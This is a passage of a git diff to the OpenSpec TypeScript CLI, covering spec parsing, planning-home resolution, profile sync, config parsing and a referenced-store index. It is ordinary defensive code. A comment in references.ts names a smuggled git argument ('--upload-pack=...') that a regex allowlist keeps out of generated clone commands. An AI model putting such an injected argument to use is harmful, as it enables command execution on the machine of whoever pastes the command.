Deliberately matches ANY `####` header, not only + * `#### Scenario:` — the spec path treats every level-4 child of a requirement + * as a scenario, so the delta counter must too (parity). Don't tighten this to + * `Scenario:` without changing both paths together. + */ +const SCENARIO_HEADER = /^####\s+/; + +/** + * The one predicate for normative-keyword detection. Matches `SHALL` or `MUST` + * as whole words so the change-delta reader and the schema-based reader accept + * and reject identical text. + */ +export function containsShallOrMust(text: string): boolean { + return /\b(SHALL|MUST)\b/.test(text); +} + +/** + * Extract the full requirement body from the lines that follow a + * `### Requirement:` header (the lines may include scenarios and fenced code). + * + * Captures every body line from the start up to the first header found on a + * non-fenced line — usually the first `#### Scenario:`, but also a stray `###` + * divider the delta reader absorbed into the block — skipping blank lines and + * any line inside a fenced code block. `**metadata**:` lines are skipped only + * when other body text remains: a requirement written entirely as + * `**Constraint**: The system MUST ...` keeps that line as its body. Captured + * lines are trimmed and joined with newlines so a requirement whose text wraps + * across lines — or whose `SHALL`/`MUST` lands on a later line — is read in + * full. + */ +export function extractRequirementBody(bodyLines: string[]): string { + const mask = buildCodeFenceMask(bodyLines); + const captured: string[] = []; + const metadata: string[] = []; + + for (let i = 0; i < bodyLines.length; i++) { + if (mask[i]) continue; // inside a fenced code block + const line = bodyLines[i]; + if (HEADER_LINE.test(line)) break; // first scenario or stray divider + const trimmed = line.trim(); + if (trimmed.length === 0) continue; // blank + if (METADATA_LINE.test(trimmed)) { + metadata.push(trimmed); // **ID**: / **Priority**: ... + continue; + } + captured.push(trimmed); + } + + if (captured.length > 0) return captured.join('\n'); + return metadata.join('\n'); // metadata-only body: the metadata IS the body +} + +/** + * Parser/display fallback for a requirement block with no body text. This is + * what lets a bare `### The system SHALL ...` header remain readable on the + * spec path (the title is the requirement). Validator body-keyword checks for + * canonical `### Requirement:` blocks use `extractRequirementBody` directly so + * a keyword that appears only in the header still receives the #1156/#1280 + * body-keyword hint. + */ +export function extractRequirementText(headerTitle: string, bodyLines: string[]): string { + return extractRequirementBody(bodyLines) || headerTitle.trim(); +} + +/** + * Count the real scenarios in a requirement block: `#### ` headers on non-fenced + * lines. A `#### Scenario:` that lives inside a fenced example is not a real + * scenario and is not counted. + */ +export function countScenarios(bodyLines: string[]): number { + const mask = buildCodeFenceMask(bodyLines); + let count = 0; + for (let i = 0; i < bodyLines.length; i++) { + if (mask[i]) continue; + if (SCENARIO_HEADER.test(bodyLines[i])) count++; + } + return count; +} diff --git a/src/core/parsers/spec-structure.ts b/src/core/parsers/spec-structure.ts index 4be14fe86e..efbe13f39f 100644 --- a/src/core/parsers/spec-structure.ts +++ b/src/core/parsers/spec-structure.ts @@ -1,10 +1,12 @@ +import { buildCodeFenceMask } from './code-fence.js'; + const REQUIREMENTS_SECTION_HEADER = /^##\s+Requirements\s*$/i; const TOP_LEVEL_SECTION_HEADER = /^##\s+/; const DELTA_HEADER = /^##\s+(ADDED|MODIFIED|REMOVED|RENAMED)\s+Requirements\s*$/i; -const REQUIREMENT_HEADER = /^###\s+Requirement:\s*(.+)\s*$/; +const REQUIREMENT_HEADER = /^###\s+Requirement:\s*(.+)\s*$/i; export interface MainSpecStructureIssue { - kind: 'delta-header' | 'requirement-outside-requirements'; + kind: 'delta-header' | 'requirement-outside-requirements' | 'duplicate-requirement'; line: number; header: string; message: string; @@ -15,6 +17,7 @@ export function findMainSpecStructureIssues(content: string): MainSpecStructureI const stripped = stripFencedCodeBlocksPreservingLines(normalized); const lines = stripped.split('\n'); const issues: MainSpecStructureIssue[] = []; + const requirementLines = new Map<string, number>(); const requirementsHeaderIndex = lines.findIndex(line => REQUIREMENTS_SECTION_HEADER.test(line)); let requirementsEndIndex = lines.length; @@ -42,7 +45,7 @@ export function findMainSpecStructureIssues(content: string): MainSpecStructureI header: trimmed, message: `Main spec contains delta header "${trimmed}". ` + - 'Delta headers are only valid inside openspec/changes/<name>/specs/<capability>/spec.md ' + + 'Delta headers are only valid inside openspec/changes/<name>/specs/<capability-path>/spec.md ' + 'and truncate the parsed ## Requirements section.', }); continue; @@ -67,51 +70,30 @@ export function findMainSpecStructureIssues(content: string): MainSpecStructureI `Requirement header "${trimmed}" appears outside the main ## Requirements section. ` + 'Main specs only parse requirements inside that section, so this requirement is currently invisible to validate, list, and archive.', }); - } - } - - return issues; -} - -export function stripFencedCodeBlocksPreservingLines(content: string): string { - const lines = content.split('\n'); - const output: string[] = []; - let activeFence: { marker: '`' | '~'; length: number } | null = null; - - for (const line of lines) { - const fenceMatch = line.match(/^\s*(`{3,}|~{3,})(.*)$/); - - if (!activeFence) { - if (fenceMatch) { - activeFence = { - marker: fenceMatch[1][0] as '`' | '~', - length: fenceMatch[1].length, - }; - output.push(''); - } else { - output.push(line); - } continue; } - output.push(''); - - if (isClosingFence(line, activeFence)) { - activeFence = null; + const requirementName = requirementMatch[1].trim(); + const previousLine = requirementLines.get(requirementName); + if (previousLine !== undefined) { + issues.push({ + kind: 'duplicate-requirement', + line: i + 1, + header: trimmed, + message: + `Requirement header "${trimmed}" duplicates the requirement declared on line ${previousLine}. ` + + 'Requirement names must be unique so spec updates cannot discard one block while updating another.', + }); + } else { + requirementLines.set(requirementName, i + 1); } } - return output.join('\n'); + return issues; } -function isClosingFence( - line: string, - activeFence: { marker: '`' | '~'; length: number } -): boolean { - const fenceMatch = line.match(/^\s*(`{3,}|~{3,})\s*$/); - return Boolean( - fenceMatch && - fenceMatch[1][0] === activeFence.marker && - fenceMatch[1].length >= activeFence.length - ); +export function stripFencedCodeBlocksPreservingLines(content: string): string { + const lines = content.split('\n'); + const mask = buildCodeFenceMask(lines); + return lines.map((line, i) => (mask[i] ? '' : line)).join('\n'); } diff --git a/src/core/planning-home.ts b/src/core/planning-home.ts new file mode 100644 index 0000000000..c27a8ccbe7 --- /dev/null +++ b/src/core/planning-home.ts @@ -0,0 +1,99 @@ +import * as fs from 'node:fs'; +import * as path from 'node:path'; + +import { FileSystemUtils } from '../utils/file-system.js'; + +export type PlanningHomeKind = 'repo'; + +export interface PlanningHome { + kind: PlanningHomeKind; + root: string; + changesDir: string; + defaultSchema: string; +} + +export interface ResolvePlanningHomeOptions { + startPath?: string; + allowImplicitRepoRoot?: boolean; +} + +const REPO_DEFAULT_SCHEMA = 'spec-driven'; + +function pathExistsAsDirectory(candidatePath: string): boolean { + try { + return fs.statSync(candidatePath).isDirectory(); + } catch { + return false; + } +} + +function getSearchStartDirectory(startPath: string): string { + const resolved = path.resolve(startPath); + + try { + const stats = fs.statSync(resolved); + const searchStart = stats.isDirectory() ? resolved : path.dirname(resolved); + return FileSystemUtils.canonicalizeExistingPath(searchStart); + } catch { + return resolved; + } +} + +function findNearestAncestor(startPath: string, predicate: (dirPath: string) => boolean): string | null { + let currentDir = getSearchStartDirectory(startPath); + + while (true) { + if (predicate(currentDir)) { + return FileSystemUtils.canonicalizeExistingPath(currentDir); + } + + const parentDir = path.dirname(currentDir); + if (parentDir === currentDir) { + return null; + } + + currentDir = parentDir; + } +} + +export function findRepoPlanningRootSync(startPath = process.cwd()): string | null { + return findNearestAncestor(startPath, (dirPath) => + pathExistsAsDirectory(path.join(dirPath, 'openspec')) + ); +} + +function repoPlanningHome(repoRoot: string): PlanningHome { + return { + kind: 'repo', + root: repoRoot, + changesDir: path.join(repoRoot, 'openspec', 'changes'), + defaultSchema: REPO_DEFAULT_SCHEMA, + }; +} + +export function resolveCurrentPlanningHomeSync( + options: ResolvePlanningHomeOptions = {} +): PlanningHome { + const startPath = options.startPath ?? process.cwd(); + const searchStart = getSearchStartDirectory(startPath); + const repoRoot = findRepoPlanningRootSync(searchStart); + + if (repoRoot) { + return repoPlanningHome(repoRoot); + } + + if (options.allowImplicitRepoRoot === false) { + throw new Error('No OpenSpec planning home found from the current directory.'); + } + + return repoPlanningHome(FileSystemUtils.canonicalizeExistingPath(searchStart)); +} + +export function getChangeDir(planningHome: PlanningHome, changeName: string): string { + return FileSystemUtils.joinPath(planningHome.changesDir, changeName); +} + +export function formatChangeLocation(planningHome: PlanningHome, changeName: string): string { + // Repo homes always nest changesDir under the root. + return path.relative(planningHome.root, getChangeDir(planningHome, changeName)); +} diff --git a/src/core/profile-sync-drift.ts b/src/core/profile-sync-drift.ts index 782bdcc9fa..b731780df6 100644 --- a/src/core/profile-sync-drift.ts +++ b/src/core/profile-sync-drift.ts @@ -4,7 +4,21 @@ import { AI_TOOLS } from './config.js'; import type { Delivery } from './global-config.js'; import { ALL_WORKFLOWS } from './profiles.js'; import { CommandAdapterRegistry } from './command-generation/index.js'; -import { COMMAND_IDS, getConfiguredTools } from './shared/index.js'; +import { getConfiguredTools } from './shared/index.js'; +import { + shouldGenerateCommandsForTool, + shouldGenerateSkillsForTool, + shouldReconcileCommandFilesForTool, + shouldRemoveSkillsForTool, +} from './command-surface.js'; +import { readSharedSkillTarget } from './shared-skill-target.js'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { isLegacyCodexSkillEquivalentToCurrent } from './shared/skill-content-equivalence.js'; +import { + hasGlobalSkillTarget, + resolveToolSkillsDir, + toolSupportsSkills, +} from './shared/skill-paths.js'; type WorkflowId = (typeof ALL_WORKFLOWS)[number]; @@ -16,6 +30,7 @@ export const WORKFLOW_TO_SKILL_DIR: Record<WorkflowId, string> = { 'new': 'openspec-new-change', 'continue': 'openspec-continue-change', 'apply': 'openspec-apply-change', + 'update': 'openspec-update-change', 'ff': 'openspec-ff-change', 'sync': 'openspec-sync-specs', 'archive': 'openspec-archive-change', @@ -32,49 +47,11 @@ function toKnownWorkflows(workflows: readonly string[]): WorkflowId[] { ); } -/** - * Checks whether a tool has at least one generated OpenSpec command file. - */ -export function toolHasAnyConfiguredCommand(projectPath: string, toolId: string): boolean { - const adapter = CommandAdapterRegistry.get(toolId); - if (!adapter) return false; - - for (const commandId of COMMAND_IDS) { - const cmdPath = adapter.getFilePath(commandId); - const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); - if (fs.existsSync(fullPath)) { - return true; - } - } - - return false; -} - -/** - * Returns tools with at least one generated command file on disk. - */ -export function getCommandConfiguredTools(projectPath: string): string[] { - return AI_TOOLS - .filter((tool) => { - if (!tool.skillsDir) return false; - const toolDir = path.join(projectPath, tool.skillsDir); - try { - return fs.statSync(toolDir).isDirectory(); - } catch { - return false; - } - }) - .map((tool) => tool.value) - .filter((toolId) => toolHasAnyConfiguredCommand(projectPath, toolId)); -} - /** * Returns tools that are configured via either skills or commands. */ export function getConfiguredToolsForProfileSync(projectPath: string): string[] { - const skillConfigured = getConfiguredTools(projectPath); - const commandConfigured = getCommandConfiguredTools(projectPath); - return [...new Set([...skillConfigured, ...commandConfigured])]; + return getConfiguredTools(projectPath); } /** @@ -92,14 +69,52 @@ export function hasToolProfileOrDeliveryDrift( delivery: Delivery ): boolean { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) return false; + if (!tool || !toolSupportsSkills(tool)) return false; const knownDesiredWorkflows = toKnownWorkflows(desiredWorkflows); const desiredWorkflowSet = new Set<WorkflowId>(knownDesiredWorkflows); - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); + const skillsDir = resolveToolSkillsDir(projectPath, tool); const adapter = CommandAdapterRegistry.get(toolId); - const shouldGenerateSkills = delivery !== 'commands'; - const shouldGenerateCommands = delivery !== 'skills'; + const shouldGenerateSkills = shouldGenerateSkillsForTool(toolId, delivery); + const shouldGenerateCommands = shouldGenerateCommandsForTool(toolId, delivery); + + const sharedTarget = tool.skillsDir + ? readSharedSkillTarget(projectPath, tool.skillsDir) + : undefined; + for (const root of tool.legacySkillsDirs ?? []) { + for (const workflow of knownDesiredWorkflows) { + const dirName = WORKFLOW_TO_SKILL_DIR[workflow]; + const legacySkill = path.join(projectPath, root, 'skills', dirName, 'SKILL.md'); + if (!fs.existsSync(legacySkill)) continue; + + const currentSkill = path.join(skillsDir, dirName, 'SKILL.md'); + if (!fs.existsSync(currentSkill) || sharedTarget !== toolId) { + return true; + } + try { + if ( + FileSystemUtils.canonicalizeExistingPath(legacySkill) === + FileSystemUtils.canonicalizeExistingPath(currentSkill) + ) { + continue; + } + // Equivalent generated copies are actionable: migration can safely + // remove the redundant legacy file even when version, line endings, + // or supported invocation syntax changed. Materially divergent copies + // stay in place without forcing an update on every run. + if ( + isLegacyCodexSkillEquivalentToCurrent( + fs.readFileSync(legacySkill, 'utf-8'), + fs.readFileSync(currentSkill, 'utf-8') + ) + ) { + return true; + } + } catch { + return true; + } + } + } if (shouldGenerateSkills) { for (const workflow of knownDesiredWorkflows) { @@ -119,7 +134,7 @@ export function hasToolProfileOrDeliveryDrift( return true; } } - } else { + } else if (shouldRemoveSkillsForTool(toolId, delivery) && !hasGlobalSkillTarget(tool)) { for (const workflow of ALL_WORKFLOWS) { const dirName = WORKFLOW_TO_SKILL_DIR[workflow]; const skillDir = path.join(skillsDir, dirName); @@ -147,7 +162,7 @@ export function hasToolProfileOrDeliveryDrift( return true; } } - } else if (!shouldGenerateCommands && adapter) { + } else if (shouldReconcileCommandFilesForTool(toolId, delivery) && adapter) { for (const workflow of ALL_WORKFLOWS) { const cmdPath = adapter.getFilePath(workflow); const fullPath = path.isAbsolute(cmdPath) ? cmdPath : path.join(projectPath, cmdPath); @@ -181,10 +196,10 @@ function getInstalledWorkflowsForTool( options: { includeSkills: boolean; includeCommands: boolean } ): WorkflowId[] { const tool = AI_TOOLS.find((t) => t.value === toolId); - if (!tool?.skillsDir) return []; + if (!tool || !toolSupportsSkills(tool)) return []; const installed = new Set<WorkflowId>(); - const skillsDir = path.join(projectPath, tool.skillsDir, 'skills'); + const skillsDir = resolveToolSkillsDir(projectPath, tool); if (options.includeSkills) { for (const workflow of ALL_WORKFLOWS) { @@ -226,10 +241,10 @@ export function hasProjectConfigDrift( } const desiredSet = new Set(toKnownWorkflows(desiredWorkflows)); - const includeSkills = delivery !== 'commands'; - const includeCommands = delivery !== 'skills'; for (const toolId of configuredTools) { + const includeSkills = shouldGenerateSkillsForTool(toolId, delivery); + const includeCommands = shouldGenerateCommandsForTool(toolId, delivery); const installed = getInstalledWorkflowsForTool(projectPath, toolId, { includeSkills, includeCommands }); if (installed.some((workflow) => !desiredSet.has(workflow))) { return true; diff --git a/src/core/profiles.ts b/src/core/profiles.ts index f61215dfcd..acdc3ec953 100644 --- a/src/core/profiles.ts +++ b/src/core/profiles.ts @@ -11,7 +11,7 @@ import type { Profile } from './global-config.js'; * Core workflows included in the 'core' profile. * These provide the streamlined experience for new users. */ -export const CORE_WORKFLOWS = ['propose', 'explore', 'apply', 'archive'] as const; +export const CORE_WORKFLOWS = ['propose', 'explore', 'apply', 'update', 'sync', 'archive'] as const; /** * All available workflows in the system. @@ -22,6 +22,7 @@ export const ALL_WORKFLOWS = [ 'new', 'continue', 'apply', + 'update', 'ff', 'sync', 'archive', diff --git a/src/core/project-config.ts b/src/core/project-config.ts index 6c1ea04a5b..922e31505b 100644 --- a/src/core/project-config.ts +++ b/src/core/project-config.ts @@ -3,6 +3,19 @@ import path from 'path'; import { parse as parseYaml } from 'yaml'; import { z } from 'zod'; +export const OPERATION_IDS = ['apply', 'archive'] as const; +export type OperationId = (typeof OPERATION_IDS)[number]; + +export interface OperationConfig { + guidance?: string[]; +} + +export type OperationsConfig = Partial<Record<OperationId, OperationConfig>>; + +const OperationConfigSchema = z.object({ + guidance: z.array(z.string()).optional(), +}); + /** * Zod schema for project configuration. * @@ -38,11 +51,199 @@ export const ProjectConfigSchema = z.object({ ) .optional() .describe('Per-artifact rules, keyed by artifact ID'), + + // Optional: per-operation advisory guidance, kept separate from artifact rules. + operations: z + .object({ + apply: OperationConfigSchema.optional(), + archive: OperationConfigSchema.optional(), + }) + .optional() + .describe('Per-operation advisory guidance'), + + // Note: the `references` field (id strings or {id, remote} maps) is + // deliberately absent here — readProjectConfig parses and normalizes + // it by hand (see DeclarationEntry below); a schema entry nothing + // parses would only drift from the real behavior. + + // Optional: the declared default store. Only consulted by root + // resolution when this openspec/ directory is config-only (no specs/ + // or changes/); a fallback, never an override. + store: z + .string() + .optional() + .describe('Store id used as the OpenSpec root when no local planning shape exists'), + + // Optional: GitHub Copilot integration preferences. `cloudAgent` is the + // opt-in for generating the Copilot cloud coding-agent files (a GitHub + // Actions workflow + agent file); absent means "not yet decided". + githubCopilot: z + .object({ + cloudAgent: z.boolean().optional(), + }) + .optional() + .describe('GitHub Copilot integration preferences'), }); -export type ProjectConfig = z.infer<typeof ProjectConfigSchema>; +/** Normalized in-memory shape of a referenced store declaration. */ +export interface DeclarationEntry { + id: string; + /** Clone source rendered into onboarding fixes. */ + remote?: string; +} + +export type ProjectConfig = z.infer<typeof ProjectConfigSchema> & { + references?: DeclarationEntry[]; +}; + +export interface OperationInputs { + context?: string; + operationGuidance?: string[]; +} + +export function loadOperationInputs( + projectConfig: ProjectConfig | null, + operationId: OperationId +): OperationInputs { + const context = + projectConfig?.context !== undefined && projectConfig.context.trim().length > 0 + ? projectConfig.context + : undefined; + const guidance = projectConfig?.operations?.[operationId]?.guidance; + const operationGuidance = guidance && guidance.length > 0 ? guidance : undefined; + + return { + ...(context !== undefined ? { context } : {}), + ...(operationGuidance !== undefined ? { operationGuidance } : {}), + }; +} + +function parseOperations(raw: unknown): OperationsConfig | undefined { + if (raw === undefined) { + return undefined; + } + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) { + console.warn(`Invalid 'operations' field in config (must be object)`); + return undefined; + } + + const supported = new Set<string>(OPERATION_IDS); + const operations: OperationsConfig = {}; + + for (const [operationId, value] of Object.entries(raw)) { + if (!supported.has(operationId)) { + console.warn( + `Unknown operation ID '${operationId}' in config. Supported operation IDs: ${OPERATION_IDS.join(', ')}` + ); + continue; + } + + const typedOperationId = operationId as OperationId; + if (!value || typeof value !== 'object' || Array.isArray(value)) { + console.warn( + `Invalid 'operations.${operationId}' field in config (must be object), ignoring this operation` + ); + continue; + } + + const operation = value as Record<string, unknown>; + const unknownFields = Object.keys(operation).filter((field) => field !== 'guidance'); + if (unknownFields.length > 0) { + console.warn( + `Unknown field(s) in 'operations.${operationId}': ${unknownFields.join(', ')}. Supported fields: guidance` + ); + } + + if (operation.guidance === undefined) { + continue; + } + + const guidanceResult = z.array(z.string()).safeParse(operation.guidance); + if (!guidanceResult.success) { + console.warn( + `Guidance for operation '${operationId}' must be an array of strings, ignoring this operation's guidance` + ); + continue; + } + + const guidance = guidanceResult.data.filter((entry) => entry.length > 0); + if (guidance.length < guidanceResult.data.length) { + console.warn( + `Some guidance for operation '${operationId}' are empty strings, ignoring them` + ); + } + if (guidance.length > 0) { + operations[typedOperationId] = { guidance }; + } + } + + return Object.keys(operations).length > 0 ? operations : undefined; +} + +/** + * Parser for `references:` declarations: string entries or + * {id, remote} maps, normalized to DeclarationEntry[]. Dedup keys on + * id and keeps the first position; the first entry carrying a remote + * supplies it (a later duplicate fills a missing remote, never + * overrides). Invalid entries drop with a warning like other resilient + * fields; returns undefined when the field is absent or normalizes to + * empty. + */ +function parseDeclarationList(raw: unknown): DeclarationEntry[] | undefined { + const fieldName = 'references'; + if (raw === undefined) { + return undefined; + } + if (!Array.isArray(raw)) { + console.warn(`Invalid '${fieldName}' field in config (must be an array of store ids)`); + return undefined; + } + + const byId = new Map<string, DeclarationEntry>(); + let droppedEntries = false; + let droppedRemotes = false; + + for (const entry of raw) { + let declaration: DeclarationEntry | null = null; + if (typeof entry === 'string') { + declaration = { id: entry }; + } else if (entry && typeof entry === 'object' && !Array.isArray(entry)) { + const candidate = entry as Record<string, unknown>; + if (typeof candidate.id === 'string') { + declaration = { id: candidate.id }; + if (typeof candidate.remote === 'string' && candidate.remote.length > 0) { + declaration.remote = candidate.remote; + } else if (candidate.remote !== undefined) { + droppedRemotes = true; // remote dropped, id kept + } + } + } + + if (!declaration) { + droppedEntries = true; + continue; + } + + const existing = byId.get(declaration.id); + if (!existing) { + byId.set(declaration.id, declaration); + } else if (existing.remote === undefined && declaration.remote !== undefined) { + existing.remote = declaration.remote; + } + } + + if (droppedEntries) { + console.warn(`Some '${fieldName}' entries are invalid, ignoring them`); + } + if (droppedRemotes) { + console.warn( + `Some '${fieldName}' remotes are not non-empty strings; the ids are kept without a clone source` + ); + } + return byId.size > 0 ? [...byId.values()] : undefined; +} -const MAX_CONTEXT_SIZE = 50 * 1024; // 50KB hard limit +export const MAX_CONTEXT_SIZE = 50 * 1024; // 50KB hard limit, shared with the references index /** * Read and parse openspec/config.yaml from project root. @@ -64,13 +265,9 @@ const MAX_CONTEXT_SIZE = 50 * 1024; // 50KB hard limit * @returns Parsed config or null if file doesn't exist */ export function readProjectConfig(projectRoot: string): ProjectConfig | null { - // Try both .yaml and .yml, prefer .yaml - let configPath = path.join(projectRoot, 'openspec', 'config.yaml'); - if (!existsSync(configPath)) { - configPath = path.join(projectRoot, 'openspec', 'config.yml'); - if (!existsSync(configPath)) { - return null; // No config is OK - } + const configPath = resolveConfigFilePath(projectRoot); + if (configPath === null) { + return null; // No config is OK } try { @@ -119,7 +316,11 @@ export function readProjectConfig(projectRoot: string): ProjectConfig | null { // First check if it's an object structure (guard against null since typeof null === 'object') if (typeof raw.rules === 'object' && raw.rules !== null && !Array.isArray(raw.rules)) { - const parsedRules: Record<string, string[]> = {}; + // Artifact ids are intentionally not restricted to the built-in naming + // convention, so keys such as "constructor" remain valid for custom + // schemas. A null-prototype map preserves those keys as data without + // letting "__proto__" mutate the lookup object's prototype. + const parsedRules: Record<string, string[]> = Object.create(null); let hasValidRules = false; for (const [artifactId, rules] of Object.entries(raw.rules)) { @@ -152,28 +353,74 @@ export function readProjectConfig(projectRoot: string): ProjectConfig | null { } } + const operations = parseOperations(raw.operations); + if (operations) { + config.operations = operations; + } + + const references = parseDeclarationList(raw.references); + if (references) { + config.references = references; + } + + // Parse store pointer field: a string, or dropped with a warning. + // (Root resolution does NOT use this parse — it uses readStorePointer + // below, which errors on malformed pointers instead of dropping.) + if (raw.store !== undefined) { + if (typeof raw.store === 'string') { + config.store = raw.store; + } else { + console.warn( + `Warning: ignoring invalid store: field in ${configPathForWarnings(projectRoot)} (must be a single store id string).` + ); + } + } + + // Parse githubCopilot preferences (only cloudAgent is recognized today). + if (raw.githubCopilot !== undefined) { + if ( + typeof raw.githubCopilot === 'object' && + raw.githubCopilot !== null && + !Array.isArray(raw.githubCopilot) + ) { + const cloudAgent = (raw.githubCopilot as Record<string, unknown>).cloudAgent; + if (typeof cloudAgent === 'boolean') { + config.githubCopilot = { cloudAgent }; + } else if (cloudAgent !== undefined) { + console.warn(`Invalid 'githubCopilot.cloudAgent' field in config (must be a boolean)`); + } + } else { + console.warn(`Invalid 'githubCopilot' field in config (must be an object)`); + } + } + // Return partial config even if some fields failed return Object.keys(config).length > 0 ? (config as ProjectConfig) : null; } catch (error) { - console.warn(`Failed to parse openspec/config.yaml:`, error); + console.warn( + `Warning: could not parse ${configPathForWarnings(projectRoot)} (${error instanceof Error ? error.message.split('\n')[0] : String(error)}); ignoring it.` + ); return null; } } +function configPathForWarnings(projectRoot: string): string { + return resolveConfigFilePath(projectRoot) ?? path.join(projectRoot, 'openspec', 'config.yaml'); +} + /** - * Validate artifact IDs in rules against a schema's artifacts. - * Called during instruction loading (when schema is known). - * Returns warnings for unknown artifact IDs. + * Validate artifact IDs in rules against the artifacts of every available + * schema. The `rules:` map is global, but each change can use a different + * schema, so a key is only unknown when it matches no artifact in ANY schema. + * Returns warnings for keys that are unknown everywhere. * * @param rules - The rules object from config - * @param validArtifactIds - Set of valid artifact IDs from the schema - * @param schemaName - Name of the schema for error messages + * @param validArtifactIds - Set of valid artifact IDs across all schemas * @returns Array of warning messages for unknown artifact IDs */ export function validateConfigRules( rules: Record<string, string[]>, - validArtifactIds: Set<string>, - schemaName: string + validArtifactIds: Set<string> ): string[] { const warnings: string[] = []; @@ -182,7 +429,7 @@ export function validateConfigRules( const validIds = Array.from(validArtifactIds).sort().join(', '); warnings.push( `Unknown artifact ID in rules: "${artifactId}". ` + - `Valid IDs for schema "${schemaName}": ${validIds}` + `It matches no artifact in any available schema. Known artifact IDs: ${validIds}` ); } } @@ -262,3 +509,96 @@ export function suggestSchemas( return message; } + +// ----------------------------------------------------------------------------- +// Store pointer (declared default store) +// ----------------------------------------------------------------------------- + +export interface StorePointerRead { + /** The declared store id, when present and a string. */ + value?: string; + /** Set when the pointer cannot be trusted: the config file could not be + * read as YAML, or the store key is present but not a string. An empty + * or comments-only config is NOT malformed - it simply has no pointer. */ + malformed?: 'unparseable' | 'non_string'; + /** Absolute path of the config file actually read, or null when none exists. */ + filePath: string | null; +} + +/** + * Warning-silent targeted read of the `store:` pointer. Used by root + * resolution (which must not re-emit the resilient parser's field + * warnings) and by `openspec init`'s pointer guard. Unlike + * `readProjectConfig`, a malformed value is REPORTED, not dropped — + * a dropped pointer would silently flip where work lands. + */ +export function readStorePointer(projectRoot: string): StorePointerRead { + const configPath = resolveConfigFilePath(projectRoot); + if (configPath === null) { + return { filePath: null }; + } + + try { + const raw = parseYaml(readFileSync(configPath, 'utf-8')); + // Empty, comments-only, or non-mapping configs carry no pointer; + // they are imperfect, not malformed (readProjectConfig owns the + // field warnings for those). + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) { + return { filePath: configPath }; + } + const value = (raw as Record<string, unknown>).store; + if (value === undefined) { + return { filePath: configPath }; + } + if (typeof value === 'string') { + return { value, filePath: configPath }; + } + return { malformed: 'non_string', filePath: configPath }; + } catch { + return { malformed: 'unparseable', filePath: configPath }; + } +} + +/** Shared .yaml/.yml probe used by readProjectConfig and readStorePointer. */ +export function resolveConfigFilePath(projectRoot: string): string | null { + const yamlPath = path.join(projectRoot, 'openspec', 'config.yaml'); + if (existsSync(yamlPath)) { + return yamlPath; + } + const ymlPath = path.join(projectRoot, 'openspec', 'config.yml'); + return existsSync(ymlPath) ? ymlPath : null; +} + +/** Human rendering of a malformed pointer reason, shared by every surface. */ +export function storePointerProblem(reason: 'unparseable' | 'non_string'): string { + return reason === 'unparseable' + ? 'the config file could not be read as YAML' + : 'the store key must be a single store id string'; +} + +export interface OpenSpecDirClassification { + /** True when openspec/specs or openspec/changes exists as a directory. */ + hasPlanningShape: boolean; + pointer: StorePointerRead; +} + +/** + * One classification for "real root vs config-only pointer dir", shared + * by root resolution and the init pointer guard so they can never + * disagree (slice 3.2). + */ +export function classifyOpenSpecDir(projectRoot: string): OpenSpecDirClassification { + const openspecDir = path.join(projectRoot, 'openspec'); + const hasPlanningShape = + isDirectorySync(path.join(openspecDir, 'specs')) || + isDirectorySync(path.join(openspecDir, 'changes')); + return { hasPlanningShape, pointer: readStorePointer(projectRoot) }; +} + +function isDirectorySync(candidatePath: string): boolean { + try { + return statSync(candidatePath).isDirectory(); + } catch { + return false; + } +} diff --git a/src/core/references.ts b/src/core/references.ts new file mode 100644 index 0000000000..564e2444fc --- /dev/null +++ b/src/core/references.ts @@ -0,0 +1,453 @@ +/** + * Referenced-store index assembly (slice 3.1). + * + * A root's `openspec/config.yaml` may declare `references:` — store ids + * whose specs the root's work draws on. Instructions output carries an + * INDEX of those stores' specs (id, one-line summary, fetch recipe via + * `--store`), built live from the registered checkouts at assembly time. + * Content is never inlined; root resolution is never affected; problems + * degrade to `warning` diagnostics instead of failing generation. + */ +import * as fs from 'node:fs/promises'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { makeStoreDiagnostic, type StoreDiagnostic } from './store/errors.js'; +import { + isValidStoreId, + listStoreRegistryEntries, + readStoreRegistryState, +} from './store/foundation.js'; +import { getStoreRootForBackend } from './store/registry.js'; +import { inspectRegisteredStore, type ResolvedOpenSpecRoot } from './root-selection.js'; +import { getSpecIds } from '../utils/item-discovery.js'; +import { FileSystemUtils } from '../utils/file-system.js'; +import { MAX_CONTEXT_SIZE, type DeclarationEntry } from './project-config.js'; + +export interface ReferenceSpecEntry { + id: string; + summary: string; +} + +export interface ReferenceIndexEntry { + store_id: string; + root?: string; + specs?: ReferenceSpecEntry[]; + fetch?: string; + status: StoreDiagnostic[]; +} + +/** + * Shares the project-context cap: the rendered index is prompt material. + * Measured in UTF-8 bytes against the XML rendering (the larger of the + * two), entries and diagnostics included; only the truncation warning + * itself is exempt (no oscillation). + */ +const MAX_RENDERED_INDEX_SIZE = MAX_CONTEXT_SIZE; + +function warning(code: string, message: string, fix: string): StoreDiagnostic { + return makeStoreDiagnostic('warning', code, message, { target: 'references', fix }); +} + +/** + * A remote is rendered into the pasteable clone command only when it is + * shell-inert: no whitespace, quotes, or metacharacters, and not + * flag-like (a config-supplied `--upload-pack=...` must never reach a + * command agents execute verbatim). Anything else falls back to the + * teammate-checkout wording. + */ +function isShellSafeRemote(remote: string): boolean { + return /^[A-Za-z0-9@:/._~+-]+$/.test(remote) && !remote.startsWith('-'); +} + +function registerFix(id: string, remote?: string): string { + if (remote && isShellSafeRemote(remote)) { + // Verbatim-pasteable: absolute home path because tilde never + // expands outside a shell and agent JSON consumers execute argv. + // The checkout is quoted (homedirs may contain spaces); the remote + // is unquoted but gated by isShellSafeRemote above. + const checkout = path.join(os.homedir(), 'openspec', id); + // The fix renders on the machine that will paste it: POSIX shells + // get single quotes; cmd/PowerShell treat single quotes as literal + // characters, so win32 gets double quotes (valid everywhere). + const quoted = process.platform === 'win32' ? `"${checkout}"` : `'${checkout}'`; + return `git clone -- ${remote} ${quoted} && openspec store register ${quoted} --id ${id}`; + } + return `Get a checkout from a teammate and run: openspec store register <path> --id ${id}`; +} + +const WHITESPACE = /\s/; + +/** + * Drop a CommonMark closing sequence (`## Purpose ##`). The closing run only + * counts when whitespace precedes it, so `Purpose###` keeps its hashes. + * Scans from the end so the cost stays linear in the title length. + */ +function stripClosingSequence(title: string): string { + let end = title.length; + while (end > 0 && 